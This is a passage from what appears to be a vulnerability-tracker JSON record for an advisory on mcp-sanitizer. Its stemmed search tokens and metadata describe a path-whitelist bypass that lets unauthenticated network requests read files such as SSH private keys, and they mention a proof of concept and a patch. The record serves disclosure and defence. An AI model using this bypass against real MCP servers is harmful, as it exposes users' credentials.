'normalizedforsensitivecheck.includes':482C 'normalizedpath':233C 'normalizedpath.replace':476C 'normalizedpath.tolowercase':244C 'npm':32B 'oper':160C 'origin':399C 'outsid':140C,210C 'packag':33B 'paramet':343C 'params.file':346C 'pass':58B,126C,154C,282C,391C 'patch':451C 'path':5A,13A,50B,53B,67B,84C,92C,106C,111C,120C,152C,208C,253C,268C,287C,347C,350C,358C,376C,404C,428C,492C 'path.isabsolute':232C 'perform':218C 'permit':7A,86C 'poc':505C 'point':135C 'post':193C 'prefix':51B,107C,389C 'privat':184C 'python':509C 'read':69B 'read/write':159C 'reader':339C 'readm':435C 'receiv':418C 'remot':81B 'reproduct':177C,519C 'request':82B,194C,323C 'requir':507C 'resid':198C 'result':119C,444C 'return':327C,378C,406C 'root':144C,214C 'rout':337C 'safe':48B,143C,213C,257C,280C,446C 'sanit':3A,6A,39B,66B,85C,96C,151C,381C,413C,421C,432C 'sanitizer':26A 'sanitizer.sanitize':128C,345C 'secondari':220C 'securesanitizefilepath':359C 'self':35B 'self-host':34B 'sensit':138C,306C,489C 'sensitivehomefrag':466C 'sensitivehomefragments.some':480C 'simul':182C 'singl':191C 'src/middleware/express.js':331C 'src/sanitizer/mcp-sanitizer.js':352C,363C 'src/utils/validation-utils.js':114C,204C,227C,290C,384C,395C 'ssh':74B,183C,308C 'start':517C 'startswith':245C 'step':513C 'subdirectori':307C 'suggest':450C 'summari':93C 'though':133C 'throw':249C,373C,484C 'tolowercas':478C 'tool':342C 'trust':64B,149C,412C 'type':348C 'unauthent':173C 'unchang':284C 'upon':449C 'use':426C 'user':10A,89C,167C,490C 'user-hom':9A,88C,166C 'v1.3.3':40B,97C 'v9jp':18A,23A 'valid':59B,112C,283C 'validatefilepath':201C,366C 'valu':328C,382C,414C 'via':189C 'vulner':197C,326C 'whitelist':43B,99C 'without':392C 'write':71B 'writer':341C","nicknames":[],"mitigations":[],"who_affected":"Applications that use mcp-sanitizer to validate file paths for MCP file_reader or file_writer tools, especially when exposed over a network through the Express middleware. Systems where no file tool accepts client-supplied paths, or where reads are confined to a fixed directory in application code, are less exposed.","tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-28T19:51:34+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-7w82-6f9j-v9jp","url":"https://github.com/advisories/GHSA-7w82-6f9j-v9jp","severity":"high","published_at":"2026-10-28T19:51:34+00:00","modified_at":"2026-10-28T19:51:34+00:00","first_seen_at":"2026-10-28T19:56:30+00:00","fetched_at":"2026-10-28T19:56:30+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}